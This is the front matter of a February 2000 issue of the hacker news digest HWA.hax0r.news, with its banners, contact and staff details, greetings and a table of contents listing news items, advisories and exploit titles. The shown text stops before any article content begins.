[63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ HWA.hax0r.news ]-=> =
==========================================================================
[=HWA 2000=] Number 50 Volume 2 Issue 2 1999 Feb 2000
==========================================================================
[ 61:20:6B:69:64:20:63:6F:75: ]
[ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ]
[ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ]
==========================================================================
= "ABUSUS NON TOLLIT USUM" =
==========================================================================
Editor: Cruciphux (cruciphux@dok.org)
A Hackers Without Attitudes Production. (c) 1999, 2000
http://welcome.to/HWA.hax0r.news/
==========================================================================
____
/ ___|_____ _____ _ __ __ _ __ _ ___
| | / _ \ \ / / _ \ '__/ _` |/ _` |/ _ \
| |__| (_) \ V / __/ | | (_| | (_| | __/
\____\___/ \_/ \___|_| \__,_|\__, |\___|
|___/
This is #50 covering Jan 16th to Feb 13th, 2000
==========================================================================
"Taking a fat cross section of the underground and security scene today
and laying it your lap for tomorrow."
==========================================================================
__ __ _ _____ _ _ _ ___
\ \ / /_ _ _ __ | |_|_ _|__ | | | | ___| |_ __|__ \
\ \ /\ / / _` | '_ \| __| | |/ _ \| |_| |/ _ \ | '_ \ / /
\ V V / (_| | | | | |_ | | (_) | _ | __/ | |_) |_|
\_/\_/ \__,_|_| |_|\__| |_|\___/|_| |_|\___|_| .__/(_)
|_|
How Can I Help ??
~~~~~~~~~~~~~~~~~
I'm looking for staff members to help with putting the zine together
if you want your name in lights (ie: mad propz and credz in here) and
have the time to spare, then here are some of the areas I can use help
in:
The Big One:
~~~~~~~~~~~
Text to HTML project: This entails converting all existing texts to
HTML and including, were appropriate the hyperlinks for urls mentioned
in text.
Foreign Correspondants and Translators
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I'm also looking for people willing to translate articles from their
area (usually Dutch, German, Norwegian etc) to contribute articles
and if possible translate them into english for us. You will be
marked as HWA staff on our list, please include your email and
website info, and bio if you wish to do so, none of this is required
however. Your help is appreciated!
Site Design
~~~~~~~~~~~
I need some design ideas for the website, i've temporarily revamped it
but i'd like to test some new look and feel ideas, if you're a web
wizard and want to try your hand at making us a site, email me, and
go for it, be warned that we may NOT use your design, but don't let
that stop you from trying your hand at it. An online temp/demo site
would be helpful.
News Collection:
~~~~~~~~~~~~~~~
There are a LOT of sources and resources, many listed here and others
in the ether, search these or pick a few of these sources to search
for stories of interest and email them to me. Scan for hacked, hacking
cracked, cracking, defacement, DoS attack, Cyber cyberwar, etc as an
example.
CGI and PERL script programming
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I'd like to make the zine contents searchable by keyword/issue online
and also display the indexes of online copies of the newsletter. If
you have any ideas for this let me know, I could do it myself but If
you already have a project laying around that would do for this then
why reeinvent the wheel?
Also; data grabbers that will snag the news from sites like HNN and
strip the HTML off and email the raw news data, etc, headline collectors
for security-focus and packetstorm etc are all also good ideas.
Theres more of course, if you have something you'd like to contribute
let me know and i'll find something for you to do. Thanks for listening
cruciphux@dok.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
# #
@ The HWA website is sponsored by CUBESOFT communications I highly @
# recommend you consider these people for your web hosting needs, #
@ @
# Web site sponsored by CUBESOFT networks http://www.csoft.net #
@ check them out for great fast web hosting! @
# #
# http://www.csoft.net/~hwa @
@ #
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
____ _
/ ___| _ _ _ __ ___ _ __ ___(_)___
\___ \| | | | '_ \ / _ \| '_ \/ __| / __|
___) | |_| | | | | (_) | |_) \__ \ \__ \
|____/ \__, |_| |_|\___/| .__/|___/_|___/
|___/ |_|
SYNOPSIS (READ THIS)
--------------------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see. (remember i'm doing
this for me, not you, the fact some people happen to get a kick/use
out of it is of secondary importance).
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle... <g>
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ...
=-----------------------------------------------------------------------=
"If live is a waste of time and time is a waste of life, then lets all get
wasted and have the time of our lives"
- kf
____| _| |
__| | __ \ _ \ __|
| __| | | __/ |
_____|_| _| _|\___|\__|
Catch us on Internet Relay Chat, Eris Free Net... /join #HWA.hax0r.news
**************************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' when keyed ***
*** ***
*** please join to discuss or impart news on the zine and around the ***
*** scene or just to hang out, we get some interesting visitors you ***
*** could be one of em. ***
*** ***
*** Note that the channel isn't there to entertain you its purpose is ***
*** to bring together people interested and involved in the underground***
*** to chat about current and recent events etc, do drop in to talk or ***
*** hangout. Also if you want to promo your site or send in news tips ***
*** its the place to be, just remember we're not #hack or #chatzone... ***
**************************************************************************
=--------------------------------------------------------------------------=
_____ _ _
/ ____| | | | |
| | ___ _ __ | |_ ___ _ __ | |_ ___
| | / _ \| '_ \| __/ _ \ '_ \| __/ __|
| |___| (_) | | | | || __/ | | | |_\__ \
\_____\___/|_| |_|\__\___|_| |_|\__|___/
=--------------------------------------------------------------------------=
[ INDEX ] HWA.hax0r.news #50
=--------------------------------------------------------------------------=
Key Intros
=--------------------------------------------------------------------------=
00.0 .. LEGAL & COPYRIGHTS ..............................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. THIS IS WHO WE ARE ..............................................
ABUSUS NON TOLLIT USUM?
This is (in case you hadn't guessed) Latin, and loosely translated
it means "Just because something is abused, it should not be taken
away from those who use it properly). This is our new motto.
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
"The three most dangerous things in the world are a programmer with a
soldering iron, a hardware type with a program patch and a user with
an idea." - Unknown
01.0 .. GREETS ...........................................................
01.1 .. Last minute stuff, rumours, newsbytes ............................
01.2 .. Mailbag ..........................................................
02.0 .. From the Editor...................................................
03.0 .. Slash, Croatian cracker, speaks out...............................
04.0 .. The hacker sex chart 2000 ........................................
05.0 .. Peer finally arrested after over a decade of IRC terrorism........
06.0 .. Updated proxies list from IRC4ALL.................................
07.0 .. Rant: Mitnick to go wireless?.....................................
08.0 .. Distrubuted Attacks on the rise. TFN and Trinoo. .................
09.0 .. Teen charged with hacking, flees to Bulgaria, still gets busted...
10.0 .. Major security flaw in Microsoft (Say it ain't so!! haha).........
11.0 .. Cerberus Information Security Advisory (CISADV000126).............
12.0 .. "How I hacked Packetstorm Security" by Rainforest Puppy...........
13.0 .. stream.c exploit .................................................
14.0 .. Spank, variation of the stream.c DoS..............................
15.0 .. Canadian Security Conference announcement: CanSecWest.............
16.0 .. Security Portal Review Jan 16th...................................
17.0 .. Security Portal review Jan 24th...................................
18.0 .. Security Portal review Jan 31st...................................
19.0 .. CRYPTOGRAM Jan 15th...............................................
20.0 .. POPS.C qpop vulnerability scanner by Duro.........................
21.0 .. Hackunlimited special birthday free-cdrom offer...................
22.0 .. HACK MY SYSTEM! I DARE YA! (not a contest)........................
23.0 .. PWA lead member busted by the FBI.................................
24.0 .. Mitnick's Release Statement.......................................
24.1 .. More submitted Mitnick articles...................................
25.0 .. Hackers vs Pedophiles, taking on a new approach...................
26.0 .. SCRAMDISK (Windows) on the fly encryption for your data...........
27.0 .. HNN:Jan 17: MPAA files more suits over DeCSS......................
28.0 .. WARftpd Security Alert (Will they EVER fix this software??).......
29.0 .. HNN: Jan 17th: Seven eCommerce Sites Found Vulnerable ............
30.0 .. HNN:Jan 17: Scotland Yard Investigating Cyber Ransom Demands......
31.0 .. HNN:Jan 17: Pay Phone Fraud Committed with Drinking Straw ........
32.0 .. Owning sites that run WebSpeed web db software....................
33.0 .. Cerberus Information Security Advisory (CISADV000202).............
34.0 .. Seccurity Focus Newsletter #26....................................
35.0 .. HNN: Jan 17: NY Student Arrested After Damaging School Computer...
36.0 .. HNN: Jan 17: NSA Wants A Secure Linux ............................
37.0 .. HNN: Jan 17: Cryptome may be breaaking the law....................
38.0 .. HNN: Jan 21: H4g1s Member Sentenced to Six Months ................
39.0 .. HNN: Jan 21: Smurf Attack Felt Across the Country ................
40.0 .. HNN: Jan 21: CIHost.com Leaves Customer Info On the Net ..........
41.0 .. HNN: Jan 21: False Bids Submitted, Hackers Blamed ................
42.0 .. HNN: Jan 21: UK to create cyber force.............................
43.0 .. HNN: Jan 21: Army Holds Off Cyber Attack .........................
44.0 .. HNN: Jan 24: French smart card expert goes to trial...............
45.0 .. HNN: Jan 24: Palm HotSync Manager is Vulnerable to DoS Attack ....
46.0 .. HNN: Jan 24: Viruses Cost the World $12.1 Billion ................
47.0 .. HNN: Jan 24: L0pht and @Stake Create Controversy ($)..............
48.0 .. HNN: Jan 24: Several New Ezine Issues Available ..................
49.0 .. HNN: Jan 25: AIM Accounts Susceptible to Theft ...................
50.0 .. HNN: Jan 25: Outpost Leaks Customer Info .........................
51.0 .. HNN: Jan 25: DeCSS Author Raided .................................
52.0 .. HNN: Jan 25: Solaris May Go Free and Open ........................
53.0 .. HNN: Jan 25: Documents Prove Echelon not a Journalist Fabrication.
54.0 .. HNN: Jan 25: Japan Needs US Help With Defacements ...............
55.0 .. HNN: Jan 25: Car Radios Monitored by Marketers ...................
56.0 .. HNN: Jan 26: DoubleClick Admits to Profiling of Surfers ..........
57.0 .. HNN: Jan 26: Support for DeCSS Author Grows ......................
58.0 .. HNN: Jan 26: China To Require Crypto Registration ................
59.0 .. HNN: Jan 26: NEC Develops Network Encryption Technology ..........
60.0 .. HNN: Jan 26: UPS announces Worldtalk secure email.................
61.0 .. HNN: Jan 27: Napster Reveals Users Info ..........................
62.0 .. Dissecting the Napster system.....................................
63.0 .. HNN: Jan 27: DVD Lawyers Shut Down Courthouse ....................
64.0 .. HNN: Jan 27: Yahoo May Be Violating Texas Anti-Stalking Law ......
65.0 .. HNN: Jan 27: Data From Probes of Takedown.com ....................
66.0 .. HNN: Jan 27: Top Ten Viruses of 1999 .............................
67.0 .. HNN: Jan 27: French Eavesdrop on British GSM Phones ..............
68.0 .. So wtf is the deal with l0pht and @stake? here'$ the FAQ jack.....
69.0 .. Anti-Offline releases majorly ereet 0-day script kiddie juarez!...
70.0 .. HNN: Jan 31: MS Issues Security Patch for Windows 2000 ...........
71.0 .. HNN: "Have script Will destroy" - a buffer overflow article.......
72.0 .. HNN: Cert Warning? : what me worry?? - buffer overflow article....
73.0 .. HNN: The Japanese Panic Project - buffer overflow article.........
74.0 .. HNN: Jan 31 Bulgarian Indicted for Cyber Crime ..................
75.0 .. HNN: Jan 31: Online Banking Still Immature .......................
76.0 .. HNN: Jan 31: E-Mail Scanning System In Progress ..................
77.0 .. HNN: Jan 31: USA Today Headlines Changed .........................
78.0 .. HNN: Jan 31: @Stake and L0pht ....................................
79.0 .. HNN: Jan 31: Book Review: "Database Nation".......................
80.0 .. HNN: Feb 1st: Interview with DeCSS Author ........................
81.0 .. HNN: Feb 1st: X.com Denies Security Breach .......................
82.0 .. HNN: Feb 1st: Microsoft Security, An Oxymoron? ...................
83.0 .. HNN: Feb 1st; Cringely, Defcon, E-Commerce and Crypto ............
84.0 .. HNN: Feb 1st: Cold War Spies For Hire ............................
85.0 .. HNN: Feb 1st: More Ezines Available ..............................
86.0 .. HHN: Feb 2nd: WorldWide Protest Against MPAA Planned .............
87.0 .. HNN: Feb 2nd; DoubleClick Receiving Protests .....................
88.0 .. HNN: Feb 2nd: More CC Numbers Found on Net .......................
89.0 .. HNN: Feb 2nd: Clinton Cyber Security Plan Draws Fire .............
90.0 .. HNN: Feb 2nd: AntiPiracy Campaign Increases Sales ................
91.0 .. HNN: Feb 2nd: Web Aps, the New Playground ........................
92.0 .. HNN: Feb 3rd: Malicious HTML Tags Embedded in Client Web Requests.
93.0 .. HNN: Feb 3rd: Curador Posts More CC Numbers ......................
94.0 .. HNN: Feb 3rd: IETF Says No To Inet Wiretaps ......................
95.0 .. HNN: Feb 3rd: Medical Web Sites Leak Privacy Info ................
96.0 .. HNN: Feb 4th: 27 Months for Piracy ...............................
97.0 .. Have you been looking for www.hack.co.za?.........................
98.0 .. HNN: Feb 4th; Security Holes Allow Prices to be Changed ..........
99.0 .. ThE,h4x0r.Br0z toss us a dis .....................................
100.0 .. HNN: Feb 4th: Carders Congregate in IRC ..........................
101.0 .. HNN: Feb 4th; Tempest Tutorial and Bug Scanning 101 ..............
102.0 .. HNN: Feb 7th; Mitnick to Give Live Interview ....................
103.0 .. HNN: Feb 7th; Anti MPAA Leafletting Campaign a Huge Success ......
104.0 .. HNN: Feb 7th: Founding Member of PWA Busted ......................
105.0 .. HNN: Feb 7th; Teenager Busted for Attempted Cyber Extortion of
$500 ...............................................
106.0 .. HNN: Feb 7th: Japanese Plan to Fight Cyber Crime .................
107.0 .. HNN: Feb 7th; Philippine President Web Site Defaced ..............
108.0 .. HNN: Feb 8th: Software Companies Seek to Alter Contract Law ......
109.0 .. HNN: Feb 8th; Yahoo Taken Offline After Suspected DoS Attack .....
110.0 .. HNN: Feb 8th; New Hack City Video ................................
111.0 .. HNN: Feb 8th; Thailand E-commerce Site Stored Credit Cards on ....
Mail Server.........................................
112.0 .. HNN: Feb 8th; Script Kiddie Training .............................
113.0 .. HNN: Feb 8th; Personal CyberWars .................................
114.0 .. HNN: Feb 8th; Space Rogue Profiled by Forbes .....................
115.0 .. HNN: Feb 9th: Yahoo, Buy.com, Amazon, E-Bay, CNN, UUNet, Who's....
Next?...............................................
116.0 .. Trinoo Killer Source Code.........................................
117.0 .. Mixter's guide to defending against DDoS attacks..................
118.0 .. HNN: Feb 9th; Court Authorizes Home Computer Search .............
119.0 .. HNN: Feb 9th; MPAA Makes Deceptive Demands ......................
120.0 .. HNN: Feb 9th; Medical Sites Give Out Info .......................
121.0 .. HNN: Feb 9th; FTC Investigates Amazon Subsidiary on use of.......
Customer Info .....................................
122.0 .. HNN: Feb 9th; Sys Admins Possibly At Fault in Japanese ..........
Defacements .......................................
123.0 .. HNN: Feb 9th; Anonymity and Tracking of the Malicious Intruder...
124.0 .. HNN; Feb 10th; E-Trade, LA Times, Datek, ZD-Net Join List of......
Sites .............................................
125.0 .. HNN: Feb 10th; NIPC Releases Detection Tools ....................
126.0 .. HNN: Feb 10th; The Underground Reaction ..........................
127.0 .. HNN: Feb 10th; Haiku Worm Now on the Loose .......................
128.0 .. HNN: Feb 11th; Investigations Continue, Reports of more Possible..
Attacks Surface ...................................
129.0 .. HNN: Feb 11th;Author of Tool Used in Attacks Speaks .............
130.0 .. HNN: Feb 11th;NIPC Reissues Alert on DDoS .......................
131.0 .. HNN: Feb 11th; Lawmakers Succumb to Kneejerk Reaction ..........
132.0 .. HNN: Feb 11th; Humor in the Face of Chaos .......................
133.0 .. HNN: Feb 11th; Britain Passes Despotic Laws .....................
134.0 .. HHN: Feb 11th; France Sues US and UK over Echelon ..............
135.0 .. HNN; Feb 11th; Mellissa Virus Comes Back ........................
136.0 .. HWA: aKt0r's story by wyzewun....................................
137.0 .. ISN: Jan 16:Hacker gang blackmails firms with stolen files.......
138.0 .. How to steal 2,500 credit cards..................................
139.0 .. Good IDS article from Security Portal............................
140.0 .. Win2000 security hole a 'major threat'...........................
141.0 .. New hack attack is greater threat than imagined..................
142.0 .. NSA gets bitten in the ass too...................................
143.0 .. rzsz package calls home if you don't register the software.......
144.0 .. Clinton calls Internet Summit on the DDoS threat.................
145.0 .. ISN: Who gets your trust?........................................
146.0 .. ISN: Hackers demand 10 Million pounds from Visa..................
147.0 .. ISN: Cybercrime growing harder to prosecute......................
148.0 .. ISN: Hacking Exposed (Book review) By Brian Martin...............
149.0 .. ISN: The crime of punishment by Brian Martin.....................
150.0 .. ISN: EDI Security, Control and,Audit(Book review)by Brian Martin.
151.0 .. ISN: "Remember, some 'hackers' make house calls" ie:burglary.....
152.0 .. ISN Japanese Police crack down on hacker attacks.................
153.0 .. ISN:Behind the scenes at "Hackers Inc."..........................
154.0 .. ISN: Hackers a No-Show at DVD decryption protest (!???)..........
155.0 .. ISN: need C2 security? - stick with NT 4.0 by Susan Menke........
156.0 .. ISN: Sites cracked with id's and passwords.......................
157.0 .. ISN: Who are these jerks anyway?.................................
158.0 .. Hellvisory #001 - Domain Name Jacking HOW-TO by Lucifer..........
159.0 .. SSHD Buffer overflow exploit (FreeBSD)...........................
160.0 .. Mozilla curiosity................................................
161.0 .. Any user can make hard links in Unix.............................
162.0 .. Crash windows boxes on local net (twinge.c)......................
163.0 .. SpiderMap 0.1 Released...........................................
164.0 .. Windows Api SHGetPathFromIDList Buffer Overflow..................
165.0 .. Anywhere Mail Server Ver.3.1.3 Remote DoS........................
166.0 .. .ASP error shows full source code to caller......................
167.0 .. Bypassing authentication on Axis 700 Network Scanner.............
168.0 .. Novell Bordermanager 3.0 through 3.5 is vulnerable to a slow DoS.
169.0 .. CERN 3.0A Heap overflow advisory.................................
170.0 .. Cfingerd 1.3.3 (*BSD) remote root buffer overflow exploit........
171.0 .. FreeBSD 3.4-STABLE /usr/bin/doscmd local exploit.................
172.0 .. FireWall-1 FTP Server Vulnerability Background Paper #1..........
173.0 .. Fool firewalls into opening ports with PASV......................
174.0 .. InetServ 3.0 remote DoS exploit..................................
175.0 .. ppp 1.6.14 shows local user the saved PPP password...............
176.0 .. Another screw up in MS's Java Virtual Machine, breaks security...
177.0 .. mySQL password checking routines insecure........................
178.0 .. Guninski: Outlook and Active Scripting (again, sigh...)..........
179.0 .. Break a BeOS poorman server remotely with url infusion...........
180.0 .. Proftpd (<= pre6) linux ppc remote exploit.......................
181.0 .. Insecure defaults in SCO openserver 5.0.5 leaves the doors open.
182.0 .. Malformed link in SERVU then a list = instant DoS (crash!).......
183.0 .. FreeBSD 3.3-RELEASE /sbin/umount local exploit...................
184.0 .. Yet another War-ftpd vulnerabilty (why do ppl use this?).........
185.0 .. Z0rk a Zeus Web Server DoS.......................................
186.0 .. Following up on the DDOS attacks of the past week (various)......
187.0 .. InetServ 3.0 - Windows NT - Remote Root Exploit..................
188.0 .. Bugfest! Win2000 has 63,000 'defects'............................
189.0 .. Legit Hackers Roam Cyberspace for Security.......................
190.0 .. Deutch controversy raises security questions for Internet users..
191.0 .. PC's Vulnerable to Security Breaches, Experts Say................
192.0 .. Hacking hazards come with Web scripting territory ...............
193.0 .. Microsoft battles pair of security bugs .........................
194.0 .. Ex-CIA chief surfed Web on home computer with top-secret data....
195.0 .. How Safe Is AOL 5.0?.............................................
196.0 .. Teens steal thousands of net accounts............................
197.0 .. Online Credit Hacker May Be Out For Profit.......................
=-------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in
return thats tres cool, if not we'll consider ur ad anyways so
send it in.ads for other zines are ok too btw just mention us
in yours, please remember to include links and an email contact.
Ha.Ha .. Humour and puzzles ............................................
Oi! laddie! send in humour for this section! I need a laugh
and its hard to find good stuff... ;)...........................
SITE.1 .. Featured site, .................................................
H.W .. Hacked Websites ...............................................
A.0 .. APPENDICES......................................................
* COMMON TROJAN PORTS LISTING.....................................
A.1 .. PHACVW linx and references......................................
A.2 .. Hot Hits (.gov and .mil + other interesting traffic on our site)
A.3 ,, Mirror Sites list...............................................
A.4 .. The Hacker's Ethic 90's Style..................................
A.5 .. Sources........................................................
A.6 .. Resources......................................................
A.7 .. Submission information.........................................
A.8 .. Mailing lists information......................................
A.9 .. Whats in a name? why HWA.hax0r.news??..........................
A,10 .. HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again).
A.11 .. Underground and (security?) Zines..............................
* Feb 2000 moved opening data to appendices, A.2 through A.10, probably
more to be added. Quicker to get to the news, and info etc... - Ed
=--------------------------------------------------------------------------=
@HWA'99, 2000
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _
| | ___ __ _ __ _| |
| | / _ \/ _` |/ _` | |
| |__| __/ (_| | (_| | |
|_____\___|\__, |\__,_|_|
|___/
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF
THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE
RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND
IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS
(SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE
GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS
Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S
ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is
http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE
ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL
I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email
cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS
ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT
AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND
REDISTRIBUTE/MIRROR. - EoD
** USE NO HOOKS **
Although this file and all future issues are now copyright, some of the
content holds its own copyright and these are printed and respected. News
is news so i'll print any and all news but will quote sources when the
source is known, if its good enough for CNN its good enough for me. And
i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
HWA (Hackers Without Attitudes) is not affiliated with HWA (Hewlitts
Warez Archive?), and does not condone 'warez' in any shape manner or
form, unless they're good, fresh 0-day and on a fast site. <sic>
cruciphux@dok.org
Cruciphux [C*:.] HWA/DoK Since 1989
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _ _
/ ___|___ _ __ | |_ __ _ ___| |_ ___
| | / _ \| '_ \| __/ _` |/ __| __/ __|
| |__| (_) | | | | || (_| | (__| |_\__ \
\____\___/|_| |_|\__\__,_|\___|\__|___/
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you
~~~~~~~ are reading this from some interesting places, make my day and
get a mention in the zine, send in a postcard, I realize that
some places it is cost prohibitive but if you have the time and
money be a cool dude / gal and send a poor guy a postcard
preferably one that has some scenery from your place of
residence for my collection, I collect stamps too so you kill
two birds with one stone by being cool and mailing in a postcard,
return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n. <g>
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
Stuff you can email:
- Prank phone calls in .ram or .mp* format
- Fone tones and security announcements from PBX's etc
- fun shit you sampled off yer scanner
- reserved for one smiley face -> :-) <-
- PHACV lists of files that you have or phac cd's you own (we have a burner)
- burns of phac cds (email first to make sure we don't already have em)
- Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it <BeG>
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas2@usa.net
Other methods:
Cruciphux's ICQ:58939315 note; not always online, and do not abuse or use
for lame questions!
My Preffered chat method: IRC Efnet in #HWA.hax0r.news
@HWA
00.2 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
__ ___ ___
\ \ / / |__ ___ __ _ _ __ _____ ____|__ \
\ \ /\ / /| '_ \ / _ \ / _` | '__/ _ \ \ /\ / / _ \/ /
\ V V / | | | | (_) | (_| | | | __/\ V V / __/_|
\_/\_/ |_| |_|\___/ \__,_|_| \___| \_/\_/ \___(_)
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/programming/IRC+ man in black
sas2@usa.net .............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
dicentra...(email withheld): IRC+ grrl in black
twisted-pair@home.com......: currently active/programming/IRC+
Foreign Correspondants/affiliate members (Active)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Qubik ............................: United Kingdom
D----Y ...........................: USA/world media
Zym0t1c ..........................: Dutch/Germany/Europe
Sla5h.............................: Croatia
Spikeman .........................: World Media/IRC channel enforcer
HWA members ......................: World Media
Armour (armour@halcon.com.au).....: Australia
Wyze1.............................: South Africa
Past Foreign Correspondants (currently inactive or presumed dead)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
N0Portz ..........................: Australia
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
Please send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
Spikeman's site is down as of this writing, if it comes back online it will be
posted here.
http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian)
Sla5h's email: smuddo@yahoo.com
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count
paying taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent
news events its a good idea to check out issue #1 at least and possibly
also the Xmas 99 issue for a good feel of what we're all about otherwise
enjoy - Ed ...
@HWA
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _
/ ___|_ __ ___ ___| |_ ___
| | _| '__/ _ \/ _ \ __/ __|
| |_| | | | __/ __/ |_\__ \
\____|_| \___|\___|\__|___/
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
* all the people who sent in cool emails and support
FProphet Pyra TwstdPair _NeM_
D----Y Dicentra vexxation sAs72
Spikeman p0lix Vortexia Wyze1
Pneuma Raven Zym0t1c duro
Repluzer astral BHZ ScrewUp
Qubik gov-boi _Jeezus_ Haze_
thedeuce ytcracker loophole BlkOps
vetesgirl Slash bob- CHEVY*
Dragos Ruiu pr0xy
Folks from #hwa.hax0r,news and other leet secret channels,
*grin* - mad props! ... ;-)
Ken Williams/tattooman ex-of PacketStorm,
&
Kevin Mitnick (free at last)
Kevin is due to be released from federal prison on January 21st 2000
for more information on his story visit http://www.freekevin.com/
kewl sites:
+ http://blkops.venomous.net/ NEW
+ http://www.hack.co.za NEW -> ** Due to excessive network attacks
this site is now being mirrored
at http://www.siliconinc.net/hack/
+ http://blacksun.box.sk. NEW
+ http://packetstorm.securify.com/ NEW
+ http://www.securityportal.com/ NEW
+ http://www.securityfocus.com/ NEW
+ http://www.hackcanada.com/
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://www.freekevin.com/
+ http://www.genocide2600.com/
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
+ http://www.net-security.org/
+ http://www.slashdot.org/
+ http://www.freshmeat.net/
+ http://www.403-security.org/
+ http://ech0.cjb.net/
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _ ____ _
| \ | | _____ _____| __ ) _ _| |_ ___ ___
| \| |/ _ \ \ /\ / / __| _ \| | | | __/ _ Y __|
| |\ | __/\ V V /\__ \ |_) | |_| | || __|__ \
|_| \_|\___| \_/\_/ |___/____/ \__, |\__\___|___/
|___/
"What is popular isn't always right, and what is right isn't
always popular..."
